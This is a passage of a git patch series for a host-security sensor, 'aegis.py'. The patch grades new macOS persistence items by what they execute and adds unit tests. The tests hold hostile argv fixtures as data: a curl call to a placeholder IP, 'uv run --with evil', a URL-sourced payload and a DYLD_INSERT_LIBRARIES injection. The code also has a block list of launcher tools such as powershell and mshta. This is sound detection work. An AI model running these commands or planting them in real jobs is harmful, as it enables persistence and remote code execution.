+        self.assertEqual(len(roots), 1, roots)
+        return roots[0]
+
+    def browser(self, root, name="firefox-1543", marker=True):
+        exe = self.touch(os.path.join(root, name, "firefox", "Nightly.app",
+                                      "Contents", "MacOS", "firefox"))
+        if marker:
+            self.touch(os.path.join(root, name, "INSTALLATION_COMPLETE"), "")
+        return exe
+
+    def test_a_completed_install_answers(self):
+        exe = self.browser(self.cache_root())
+        self.assertEqual(aegis._package_receipt(exe),
+                         "playwright:firefox-1543")
+
+    def test_an_install_without_its_marker_does_not(self):
+        """An interrupted download leaves the directory and no marker; so does
+        a tree that was only made to look like one."""
+        exe = self.browser(self.cache_root(), marker=False)
+        self.assertIsNone(aegis._package_receipt(exe))
+
+    def test_the_cache_root_and_the_browser_dir_themselves_do_not(self):
+        root = self.cache_root()
+        self.browser(root)
+        self.assertIsNone(aegis._package_receipt(root))
+        self.assertIsNone(aegis._package_receipt(
+            os.path.join(root, "firefox-1543")))
+
+    def test_a_directory_not_shaped_browser_revision_does_not(self):
+        """Playwright keeps its own non-browser state under the same root
+        (`daemon/`, `.links/`). A marker there is not one it wrote."""
+        root = self.cache_root()
+        for name in ("daemon", ".links", "firefox"):
+            exe = self.browser(root, name=name)
+            self.assertIsNone(aegis._package_receipt(exe), name)
+
+    def test_the_same_tree_outside_any_cache_root_does_not(self):
+        """The marker is only evidence where Playwright writes it. The same
+        tree copied anywhere else, including a sibling whose name merely
+        starts with the root's, answers nothing."""
+        root = self.cache_root()
+        for elsewhere in (os.path.join(self.tmp, "elsewhere"),
+                          root + "-evil"):
+            exe = self.browser(elsewhere)
+            self.assertIsNone(aegis._package_receipt(exe), elsewhere)
+
+    def test_playwright_browsers_path_is_honoured(self):
+        custom = os.path.join(self.tmp, "custom-browsers")
+        os.environ["PLAYWRIGHT_BROWSERS_PATH"] = custom
+        exe = self.browser(custom, name="chromium_headless_shell-1223")
+        self.assertEqual(aegis._package_receipt(exe),
+                         "playwright:chromium_headless_shell-1223")
+
+    def test_the_hidden_and_relative_forms_of_the_override_are_not_roots(self):
+        """"0" means node_modules/playwright-core/.local-browsers and a relative
+        value resolves against the installing process's cwd. Neither is
+        knowable from here, so neither is guessed."""
+        default = aegis._playwright_roots()
+        for value in ("0", "relative/browsers"):
+            os.environ["PLAYWRIGHT_BROWSERS_PATH"] = value
+            self.assertEqual(aegis._playwright_roots(), default, value)
+
+    def test_the_default_root_follows_playwright(self):
+        flags = {"mac": (True, False), "win": (False, True),
+                 "linux": (False, False)}
+        want = {
+            "mac": os.path.join(self.home, "Library", "Caches",
+                                "ms-playwright"),
+            "win": os.path.join(os.environ["LOCALAPPDATA"], "ms-playwright"),
+            "linux": os.path.join(self.home, ".cache", "ms-playwright"),
+        }
+        for body, (is_mac, is_win) in flags.items():
+            with mock.patch.object(aegis, "IS_MAC", is_mac), \
+                    mock.patch.object(aegis, "IS_WIN", is_win):
+                self.assertEqual(aegis._playwright_roots(), [want[body]],
+                                 body)
+        os.environ["XDG_CACHE_HOME"] = os.path.join(self.tmp, "xdg-cache")
+        with mock.patch.object(aegis, "IS_MAC", False), \
+                mock.patch.object(aegis, "IS_WIN", False):
+            self.assertEqual(aegis._playwright_roots(),
+                             [os.path.join(self.tmp, "xdg-cache",
+                                           "ms-playwright")])
+
+
+class AnInstallerReceiptIsVouchedTierOnly(ReceiptSandbox):
+    """Same-uid-forgeable, like the Homebrew receipt: one step, never below
+    MEDIUM, and nothing at all for attack-defined evidence."""
+
+    def graded(self, path, attack_defined=False):
+        with mock.patch.object(aegis, "_vouch_covers", lambda *a: False), \
+                mock.patch.object(aegis, "_custody_remember",
+                                  lambda *a, **k: None):
+            return aegis._grade_binary("HIGH", path,
+                                       attack_defined=attack_defined)
+
+    def test_both_grade_as_package_managed(self):
+        self.assertIn("package-managed", aegis._VOUCHED_CUSTODY)
+        prefix = os.path.join(self.home, ".local", "bin")
+        tool = self.touch(os.path.join(prefix, "tool"))
+        self.touch(os.path.join(self.home, ".config", "tool",
+                                "tool-receipt.json"),
+                   json.dumps({"binaries": ["tool"],
+                               "install_prefix": prefix}))
+        os.environ["XDG_CONFIG_HOME"] = os.path.join(self.home, ".config")
+        exe = self.touch(os.path.join(aegis._playwright_roots()[0],
+                                      "webkit-2359", "pw_run.sh"))
+        self.touch(os.path.join(aegis._playwright_roots()[0], "webkit-2359",
+                                "INSTALLATION_COMPLETE"), "")
+        for path in (tool, exe):
+            sev, rung, _ = self.graded(path)
+            self.assertEqual((sev, rung), ("MEDIUM", "package-managed"), path)
+            self.assertEqual(self.graded(path, attack_defined=True),
+                             ("HIGH", None, None), path)
+
+
+@unittest.skipUnless(REAL_MAC, "reads this Mac's own installer receipts")
+class LiveReceiptsOnThisMac(unittest.TestCase):
+    """A fixture cannot test a parser: read the receipts the real installers
+    wrote on this body. Skipped wherever they are absent."""
+
+    def setUp(self):
+        aegis._CARGO_DIST_CACHE.clear()
+        self.addCleanup(aegis._CARGO_DIST_CACHE.clear)
+
+    def test_uv_answers_from_its_cargo_dist_receipt(self):
+        uv = os.path.expanduser("~/.local/bin/uv")
+        receipt = os.path.expanduser("~/.config/uv/uv-receipt.json")
+        if not (os.path.isfile(uv) and os.path.isfile(receipt)):
+            self.skipTest("no cargo-dist uv install on this body")
+        self.assertTrue(
+            (aegis._package_receipt(uv) or "").startswith(
+                "cargo-dist:astral-sh/uv@"),
+            aegis._package_receipt(uv))
+
+    def test_the_playwright_browsers_answer(self):
+        root = os.path.expanduser("~/Library/Caches/ms-playwright")
+        found = []
+        for pat in ("firefox-*/firefox/Nightly.app/Contents/MacOS/firefox",
+                    "chromium_headless_shell-*/chrome-headless-shell-mac-*/"
+                    "chrome-headless-shell"):
+            for exe in glob.glob(os.path.join(root, pat)):
+                d = os.path.relpath(exe, root).split(os.sep)[0]
+                if os.path.isfile(os.path.join(root, d,
+                                               "INSTALLATION_COMPLETE")):
+                    found.append((exe, d))
+        if not found:
+            self.skipTest("no completed Playwright browser on this body")
+        for exe, d in found:
+            self.assertEqual(aegis._package_receipt(exe), "playwright:" + d)
+
+
+if __name__ == "__main__":
+    unittest.main()

From 2e5bb9f7693e03fdb402f49f392823e645b78487 Mon Sep 17 00:00:00 2001
From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com>
Date: Wed, 23 Sep 2026 16:10:00 -0700
Subject: [PATCH 3/3] A new persistence item was never asked who made what it
 runs

Precision plan S7 follow-up. Seven com.aikit.* LaunchAgents (#287 #288 #295
#296 #300 #302 #307: `uv run .../schedule/run.py <job>`) and xbar (#399)
reached the incident tier because a NEW persistence item carried no custody
rung at all. The CHANGED branch had a ladder and NEW had none. The seven
aikit incidents each interrupted HIGH on every sighting.

check_persistence now grades a NEW item by what it EXECUTES
(_custody_executes):

  * the program goes through the binary ladder (_grade_binary: vouch,
    package receipt -- now including cargo-dist and Playwright from the
    merged receipts branch -- build output, carried copies);
  * the payload script, when there is one, goes through _custody_payload;
  * the item's rung is the WEAKER of the two (_weaker_rung: the rung the
    risk tier weighs heavier, then the one that leaves the higher
    severity). A strong program running an unexplained script explains
    nothing, and an explained script run by an unexplained program explains
    nothing either. No payload means the program's rung alone;
  * attack-defined jobs (hostile argv, loader-injection env) get no rung,
    as everywhere;
  * _persistence_exec_extra states the argv rule: the item gets no rung if
    the argv can run anything beyond program + payload. That covers a URL
    anywhere, a stripped launcher wrapper, an interpreter with no payload
    file (`python -m`, `npx pkg`), and anything before the payload except
    the runner's one declared subcommand (`uv run --with evil`,
    `--directory D python -m m`). For a non-interpreter it covers a path
    argument, or any argument to a launcher such as `open -b`. Arguments
    after the payload are the payload's own input. The rule fails closed.
  * The finding records `custody` and is demoted by it. Program and payload
    answers are memoized per call, so seven jobs sharing uv and run.py ask
    once.

Direct measurement on this body today (live snapshot, ledger writer
disabled, store read-only): all seven aikit items grade uv as
package-managed (cargo-dist:astral-sh/uv@0.11.6) and run.py as
local-commit. The weaker rung is local-commit, so HIGH -> MEDIUM (digest).
That covers 321 recorded NEW-item HIGH events across the seven incidents.
xbar gets no rung on this base: publisher-signed ships with S5, and there
is no receipt for /Applications/xbar.app. Its NEW item already reads LOW
with today's trust (developer-id); the 271 HIGH events on #399 were
recorded while the trust was misread as `unsigned`. Weak rungs do not stop
a finding from joining a chain (S3's _custody_explained), so chains like
#296 can still form.

tests/test_custody_roster.py: check_persistence custody debt ratcheted 2 -> 1.

Merged origin/agent/precision-p2b/receipts (PR #63) first, as briefed.

Tests: 15 new cases in tests/test_persistence_payload_case.py
(NewItemIsGradedByWhatItRuns); the publisher-signed case is skipped until
S5's rung exists on the branch.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
---
 aegis.py                               | 155 +++++++++++++++++++-
 tests/test_custody_roster.py           |   4 +-
 tests/test_persistence_payload_case.py | 193 ++++++++++++++++++++++++-
 3 files changed, 346 insertions(+), 6 deletions(-)

diff --git a/aegis.py b/aegis.py
index 97f79cc..8fb7dee 100755
--- a/aegis.py
+++ b/aegis.py
@@ -8199,6 +8199,79 @@ def _payload_update(old, rec, prog_changed, env_changed, args_changed,
     return payload
 
 
+# Programs whose whole job is to start ANOTHER program that their argv names
+# without a path: `open -b <bundle id>`, `powershell -enc <blob>`,
+# `rundll32 x.dll,Entry`. Their own receipt says nothing about what they start.
+_PERSIST_LAUNCHER_NAMES = frozenset((
+    "open", "launchctl", "xargs", "nice", "chroot", "cmd", "cmd.exe",
+    "powershell", "powershell.exe", "pwsh", "pwsh.exe", "rundll32",
+    "rundll32.exe", "mshta", "mshta.exe", "wscript", "wscript.exe", "cscript",
+    "cscript.exe", "regsvr32", "regsvr32.exe", "msiexec", "msiexec.exe",
+    "explorer", "explorer.exe", "conhost", "conhost.exe",
+))
+
+
+def _persistence_exec_extra(args, program, payload):
+    """Why this job's argv can run code other than its program and its
+    payload, or None when those two are all it runs.
+
+    A persistence item is graded by what it EXECUTES: the program and, when
+    it has one, the payload script. That is a complete account only when the
+    argv names nothing else that runs, so the rule is stated in one place and
+    it fails closed -- any of these and the item earns no custody rung:
+
+      * a URL anywhere in the argv (`uv run --from git+https://...`, a
+        fetched payload): the code is somewhere this cannot hash;
+      * a launcher wrapper in front (`caffeinate -i ...`): the plist's program
+        is not the thing that runs the payload;
+      * an interpreter or runner with no payload FILE (`python -m pkg`,
+        `node -e`, `npx some-package`): the code is named, not graded;
+      * an interpreter or runner given anything before its payload other than
+        its one declared subcommand (`uv run --with evil run.py`,
+        `uv run --directory D python -m mod`, `python -X ...`): an
+        interpreter option can pull in code, and a list of the harmless ones
+        is a list that rots, so there is no such list;
+      * a program that is not an interpreter, given a path (`/` or `\\`,
+        including `--opt=<path>`), or one of the launchers above given any
+        argument: it names another thing to run.
+
+    Arguments AFTER the payload are the payload's own input, and the payload
+    is graded, so they are not held against it.
+    """
+    if not isinstance(args, list) or not args:
+        return None
+    flat = [str(a) for a in args if a is not None]
+    if any("://" in a for a in flat[1:]):
+        return "a URL in its arguments"
+    if _effective_argv(args, program)[0] != flat:
+        return "a launcher wrapper in front of what it runs"
+    names = {os.path.basename(str(c)).lower() for c in (program, flat[0]) if c}
+    if _interp_fronted(flat, program):
+        if not payload:
+            return "an interpreter that runs no script file"
+        try:
+            at = flat.index(payload, 1)
+        except ValueError:
+            return "a script target that is not one of its arguments"
+        before = flat[1:at]
+        subs = set()
+        for name in names:
+            subs.update(_RUNNER_SUBCOMMANDS.get(name) or ())
+        if before and before[0] in subs:
+            before = before[1:]
+        if before:
+            return "interpreter options before its script (%s)" % (
+                " ".join(before)[:80])
+        return None
+    if len(flat) > 1 and names & _PERSIST_LAUNCHER_NAMES:
+        return "a launcher that starts what its arguments name"
+    for a in flat[1:]:
+        value = a.split("=", 1)[1] if a.startswith("-") and "=" in a else a
+        if "/" in value or "\\" in value:
+            return "a path in its arguments (%s)" % a[:80]
+    return None
+
+
 def check_persistence(baseline_snap, current_snap):
     findings = []
     # (program, new_sha) -> [labels of the jobs that reference it]
@@ -8206,6 +8279,10 @@ def check_persistence(baseline_snap, current_snap):
     # (payload, new_sha) -> [(path, old, rec, severity)] of the jobs whose
     # only change is that payload's bytes
     payload_updates = {}
+    # One custody answer per program and per payload for this call: seven
+    # jobs sharing uv and run.py ask git and the receipts once, not seven
+    # times (see _custody_executes).
+    custody_memo = {}
     base = baseline_snap or {}
     for path, rec in current_snap.items():
         if path not in base:
@@ -8214,10 +8291,24 @@ def check_persistence(baseline_snap, current_snap):
                 # by content -- so an edited copy is NOT ours and lands below.
                 continue
             sev = _persistence_severity(rec)
+            # Graded by what it EXECUTES. Until 2026-09-23 a NEW item was
+            # never asked who made its program or its script, so the
+            # operator's own scheduler kit (#287 #288 #295 #296 #300 #302
+            # #307) and a Homebrew menu-bar app (#399) interrupted HIGH on
+            # every sighting. Attack-defined jobs get no rung here, as
+            # everywhere.
+            attack_defined = _env_attack_defined(rec.get("env")) \
+                or _hostile_args(rec.get("args"), rec.get("program"))
+            prov, note = (None, None) if attack_defined \
+                else _custody_executes(rec, sev, custody_memo)
+            detail = "%s -> %s [%s]" % (rec["label"],
+                                        rec.get("program") or "?",
+                                        rec.get("trust"))
+            if prov and note:
+                detail = "%s\n%s" % (detail, note)
             findings.append(finding(
-                sev, "persistence", "New persistence item",
-                "%s -> %s [%s]" % (rec["label"], rec.get("program") or "?",
-                                   rec.get("trust")),
+                _demote(sev, prov, attack_defined=attack_defined),
+                "persistence", "New persistence item", detail,
                 "persistence:new:%s:%s" % (path, rec.get("sha256")),
                 subject=_subject(
                     "persistence", path, op="new", content=rec.get("sha256"),
@@ -8234,6 +8325,7 @@ def check_persistence(baseline_snap, current_snap):
                 # back from the store could not say which producer it was.
                 program_sha=rec.get("sha256"),
                 target_sha=rec.get("target_sha"),
+                custody=prov,
                 run_at_load=rec.get("run_at_load")))
         else:
             old = base[path]
@@ -8381,7 +8473,10 @@ def check_persistence(baseline_snap, current_snap):
     for (payload, sha), jobs in sorted(payload_updates.items()):
         jobs.sort(key=lambda job: job[0])
         worst = max(jobs, key=lambda job: SEV_ORDER[job[3]])
-        prov, note = _custody_payload(payload, sha)
+        key = ("payload", payload, sha)
+        if key not in custody_memo:
+            custody_memo[key] = _custody_payload(payload, sha)
+        prov, note = custody_memo[key]
         labels = sorted(str(rec.get("label") or path)
                         for path, _old, rec, _sev in jobs)
         olds = sorted({(old.get("target_sha") or "?")[:12]
@@ -17721,6 +17816,58 @@ def _custody_payload(path, sha):
     return None, ""
 
 
+def _weaker_rung(severity, first, second):
+    """The rung that explains LESS: the one the risk tier weighs heavier
+    (_RISK_CUSTODY_WEIGHT; no rung, or one that does not demote, weighs 1.0),
+    then the one that leaves the higher severity. Ties keep `first`."""
+    def weakness(item):
+        rung = item[0]
+        return (_RISK_CUSTODY_WEIGHT.get(rung, 1.0),
+                SEV_ORDER.get(_demote(severity, rung), 0))
+    return max((first, second), key=weakness)
+
+
+def _custody_executes(rec, severity, graded=None):
+    """(rung, note) for a NEW persistence item, graded by what it executes.
+
+    The program through the binary ladder (_grade_binary: vouched, package
+    receipts, build output, carried copies) and the payload script, when
+    there is one, through _custody_payload. The item's rung is the WEAKER of
+    the two: a strong program running an unexplained script explains
+    nothing, and neither does an explained script run by an unexplained
+    program. No payload means the program's rung alone.
+
+    No rung at all when the argv can run anything else
+    (_persistence_exec_extra), when the program is not on disk, or when the
+    payload has no hash to grade -- an unhashed script is not an explained
+    one. The caller has already refused attack-defined jobs.
+
+    `graded` memoizes answers for one check_persistence call, keyed on the
+    program's and the payload's bytes.
+    """
+    graded = {} if graded is None else graded
+    program, args = rec.get("program"), rec.get("args")
+    if not program or not rec.get("sha256"):
+        return None, None
+    payload = _script_target(args, program)
+    if _persistence_exec_extra(args, program, payload):
+        return None, None
+    if payload and not rec.get("target_sha"):
+        return None, None
+    key = ("program", program, rec.get("sha256"))
+    if key not in graded:
+        _sev, rung, note = _grade_binary(severity, program,
+                                         sha=rec.get("sha256"))
+        graded[key] = (rung, note)
+    result = graded[key]
+    if payload:
+        key = ("payload", payload, rec.get("target_sha"))
+        if key not in graded:
+            graded[key] = _custody_payload(payload, rec.get("target_sha"))
+        result = _weaker_rung(severity, result, graded[key])
+    return result
+
+
 
 
 def cmd_vouch(argv):
diff --git a/tests/test_custody_roster.py b/tests/test_custody_roster.py
index f6c04d8..b6f7b3d 100644
--- a/tests/test_custody_roster.py
+++ b/tests/test_custody_roster.py
@@ -135,7 +135,9 @@
     ("check_browser_automation", "session-theft"): 3,
     ("check_clipboard", "clipboard"): 1,
     ("check_cron", "persistence"): 2,
-    ("check_persistence", "persistence"): 2,
+    # 1: the NEW finding is graded by what it executes since 2026-09-23;
+    # the remaining site is "Persistence item removed".
+    ("check_persistence", "persistence"): 1,
     ("check_processes", "process"): 1,
     ("check_shell_history", "shell-history"): 1,
     ("check_staging", "staging"): 1,
diff --git a/tests/test_persistence_payload_case.py b/tests/test_persistence_payload_case.py
index dbd6e0e..bd1c7f0 100644
--- a/tests/test_persistence_payload_case.py
+++ b/tests/test_persistence_payload_case.py
@@ -103,12 +103,20 @@ def setUp(self):
                                                    "custody.jsonl")),
                      ("HMAC_KEY_FILE", os.path.join(self.state, "hmac.key")),
                      ("RUN_LOG", os.path.join(self.state, "run.log")),
-                     ("_git_provenance", self._git)):
+                     ("VOUCH_FILE", os.path.join(self.state, "vouches.jsonl")),
+                     ("VOUCH_SIGNERS", os.path.join(self.state,
+                                                    "vouch_signers")),
+                     ("FLEET_SIGNERS", os.path.join(self.state,
+                                                    "allowed_signers")),
+                     ("_git_provenance", self._git),
+                     ("_package_receipt", self._receipt_for)):
             self._saved[k] = getattr(aegis, k)
             setattr(aegis, k, v)
         aegis._CUSTODY_CARRY_CACHE.clear()
         self.git_answer = None
         self.git_asked = []
+        # {path: label}: the package-manager receipts this body "holds".
+        self.receipts = {}
 
     def tearDown(self):
         for k, v in self._saved.items():
@@ -120,6 +128,9 @@ def _git(self, path):
         self.git_asked.append(path)
         return self.git_answer
 
+    def _receipt_for(self, path):
+        return self.receipts.get(path)
+
     def _receipt(self, path, sha, mac=None, tool="claude-code"):
         """One intent record as `aegis.py intent hook` writes it, MAC'd with
         the sandbox key -- for a path that need not exist. A real file would
@@ -335,6 +346,186 @@ def test_seven_siblings_share_one_producer_class(self):
         self.assertEqual(len({obs for _k, obs in classes}), 7)
 
 
+XBAR = "/Applications/xbar.app/Contents/MacOS/xbar"
+PY = "/Users/me/.venv/bin/python3"
+
+
+def _new(name, program=UV, args=None, target_sha=OLD, env=None):
+    """A NEW launchd record whose argv is given verbatim (the payload is
+    derived from it exactly as snapshot_persistence derives it)."""
+    if args is None:
+        args = [program, "run", RUN, name]
+    path = "/Users/me/Library/LaunchAgents/com.kit.%s.plist" % name
+    target = aegis._script_target(args, program)
+    return path, {
+        "label": "com.kit." + name, "program": program, "sha256": UV_SHA,
+        "trust": SUSPICIOUS_TRUST, "run_at_load": False, "authority": None,
+        "env": env, "args": args,
+        "args_sha256": aegis.hashlib.sha256(json.dumps(
+            args, sort_keys=True, default=str).encode()).hexdigest(),
+        "script_target": target,
+        "target_sha": target_sha if target else None}
+
+
+class NewItemIsGradedByWhatItRuns(LedgerSandbox):
+    """#287 #288 #295 #296 #300 #302 #307 (`com.aikit.* -> uv run
+    .../schedule/run.py`) and #399 (xbar) interrupted HIGH because a NEW
+    persistence item was never asked who made what it runs. It is now graded
+    by the two things it executes: the program (the binary ladder,
+    _grade_binary) and the payload (_custody_payload). The item's rung is the
+    WEAKER of the two -- a strong program running an unexplained script
+    explains nothing, and so does an explained script run by an unexplained
+    program -- and any argv that can run code beyond those two earns none."""
+
+    def _one(self, name="doctor", **kw):
+        path, rec = _new(name, **kw)
+        out = aegis.check_persistence({}, {path: rec})
+        self.assertEqual(len(out), 1)
+        self.assertEqual(out[0]["title"], "New persistence item")
+        return out[0]
+
+    def _routes_to_digest(self, f):
+        routing = aegis.route_findings([f], seen={})
+        return routing[f["fingerprint"]]["route"] == aegis.ROUTE_DIGEST
+
+    def test_a_receipted_runner_and_a_committed_payload_is_the_weak_rung(self):
+        """The aikit shape: uv from the cargo-dist installer, run.py in the
+        operator's (unpushed) ledger repo. Vouched program, weak payload: the
+        weaker one, one step, out of the interrupt tier."""
+        self.receipts[UV] = "cargo-dist:astral-sh/uv@0.11.6"
+        self.git_answer = "local-commit"
+        f = self._one()
+        self.assertEqual(f["custody"], "local-commit")
+        self.assertEqual(f["severity"], "MEDIUM")
+        self.assertTrue(self._routes_to_digest(f))
+
+    def test_the_weaker_half_wins_even_over_a_self_attested_payload(self):
+        """A payload an agent wrote under supervision is LOW on its own; run
+        by a program that is merely package-managed, the item is only as
+        explained as that program."""
+        self.receipts[UV] = "cargo-dist:astral-sh/uv@0.11.6"
+        self._receipt(RUN, OLD)
+        f = self._one()
+        self.assertEqual(f["custody"], "package-managed")
+        self.assertEqual(f["severity"], "MEDIUM")
+
+    def test_a_vouched_program_with_no_payload_goes_to_the_digest(self):
+        """xbar's shape (#399): the program is the whole job."""
+        self.receipts[XBAR] = "homebrew:xbar"
+        f = self._one("xbar", program=XBAR, args=[XBAR])
+        self.assertEqual(f["custody"], "package-managed")
+        self.assertEqual(f["severity"], "MEDIUM")
+        self.assertTrue(self._routes_to_digest(f))
+
+    @unittest.skipUnless("publisher-signed" in aegis._VOUCHED_CUSTODY,
+                         "the publisher-signed rung ships with precision S5")
+    def test_a_publisher_signed_program_with_no_payload_goes_to_the_digest(self):
+        real = aegis._grade_binary
+
+        def signed(severity, path, **kw):
+            if path == XBAR:
+                return (aegis._demote(severity, "publisher-signed"),
+                        "publisher-signed", "signed")
+            return real(severity, path, **kw)
+
+        aegis._grade_binary = signed
+        try:
+            f = self._one("xbar", program=XBAR, args=[XBAR])
+        finally:
+            aegis._grade_binary = real
+        self.assertEqual(f["custody"], "publisher-signed")
+        self.assertTrue(self._routes_to_digest(f))
+
+    def test_a_receipted_runner_with_an_unexplained_payload_has_no_rung(self):
+        self.receipts[UV] = "cargo-dist:astral-sh/uv@0.11.6"
+        f = self._one()
+        self.assertIsNone(f.get("custody"))
+        self.assertEqual(f["severity"], "HIGH")
+
+    def test_an_unexplained_runner_with_a_committed_payload_has_no_rung(self):
+        self.git_answer = "self-committed"
+        f = self._one()
+        self.assertIsNone(f.get("custody"))
+        self.assertEqual(f["severity"], "HIGH")
+
+    def test_hostile_argv_has_no_rung(self):
+        self.receipts[UV] = "cargo-dist:astral-sh/uv@0.11.6"
+        self.git_answer = "self-committed"
+        f = self._one(args=[UV, "run", RUN, "curl", "http://198.51.100.7/x"])
+        self.assertIsNone(f.get("custody"))
+        self.assertIn(f["severity"], ("HIGH", "CRITICAL"))
+
+    def test_a_loader_injection_env_has_no_rung(self):
+        self.receipts[UV] = "cargo-dist:astral-sh/uv@0.11.6"
+        self.git_answer = "self-committed"
+        f = self._one(env={"DYLD_INSERT_LIBRARIES": "/Users/me/x.dylib"})
+        self.assertIsNone(f.get("custody"))
+        self.assertIn(f["severity"], ("HIGH", "CRITICAL"))
+
+    def test_uv_run_with_a_package_has_no_rung(self):
+        """`--with <pkg>` installs and imports code that is neither uv nor
+        run.py. Both spellings: the separate value hides the payload from
+        _script_target, the glued one does not."""
+        self.receipts[UV] = "cargo-dist:astral-sh/uv@0.11.6"
+        self.git_answer = "local-commit"
+        for args in ([UV, "run", "--with", "evil", RUN, "doctor"],
+                     [UV, "run", "--with=evil", RUN, "doctor"]):
+            f = self._one(args=args)
+            self.assertIsNone(f.get("custody"), args)
+            self.assertEqual(f["severity"], "HIGH", args)
+
+    def test_uv_run_from_a_url_has_no_rung(self):
+        self.receipts[UV] = "cargo-dist:astral-sh/uv@0.11.6"
+        self.git_answer = "local-commit"
+        f = self._one(args=[UV, "run", RUN, "--from",
+                            "git+https://example.invalid/evil"])
+        self.assertIsNone(f.get("custody"))
+
+    def test_an_interpreter_running_a_module_has_no_rung(self):
+        """`python -m pkg` runs code named by the argv, not a file this
+        graded."""
+        self.receipts[PY] = "uv-python:cpython-3.12"
+        f = self._one(program=PY, args=[PY, "-m", "pkg.cli"])
+        self.assertIsNone(f.get("custody"))
+
+    def test_a_launcher_that_names_its_target_has_no_rung(self):
+        """`open -b <bundle id>` starts an app no argument is a path to; a
+        program handed a path may load it. Neither is explained by the
+        program's own receipt."""
+        opener = "/usr/bin/open"
+        self.receipts[opener] = "os:open"
+        self.receipts[XBAR] = "homebrew:xbar"
+        for program, args in ((opener, [opener, "-b", "com.example.app"]),
+                              (XBAR, [XBAR, "--plugin",
+                                      "/Users/me/plugin.dylib"])):
+            f = self._one("x", program=program, args=args)
+            self.assertIsNone(f.get("custody"), args)
+
+    def test_an_unhashed_payload_explains_nothing(self):
+        self.receipts[UV] = "cargo-dist:astral-sh/uv@0.11.6"
+        self.git_answer = "local-commit"
+        f = self._one(target_sha=None)
+        self.assertIsNone(f.get("custody"))
+
+    def test_arguments_after_the_payload_are_its_input(self):
+        """Everything after the script is handed to the script, which is
+        graded; a path there is data, not another program."""
+        self.receipts[PY] = "uv-python:cpython-3.12"
+        self.git_answer = "local-commit"
+        f = self._one(program=PY, args=[PY, RUN, "/Users/me/data", "--all"])
+        self.assertEqual(f["custody"], "local-commit")
+        self.assertEqual(f["severity"], "MEDIUM")
+
+    def test_a_shared_program_and_payload_are_graded_once_per_scan(self):
+        self.receipts[UV] = "cargo-dist:astral-sh/uv@0.11.6"
+        self.git_answer = "local-commit"
+        cur = dict(_new(name) for name in LABELS)
+        out = aegis.check_persistence({}, cur)
+        self.assertEqual(len(out), 7)
+        self.assertEqual({f["custody"] for f in out}, {"local-commit"})
+        self.assertEqual(self.git_asked, [RUN])
+
+
 class OneVerdictAcceptsEveryReferringJob(LedgerSandbox):
     """The case is one fact, so one benign-positive must promote every job
     that runs the reviewed bytes -- otherwise the sensor re-asserts the fact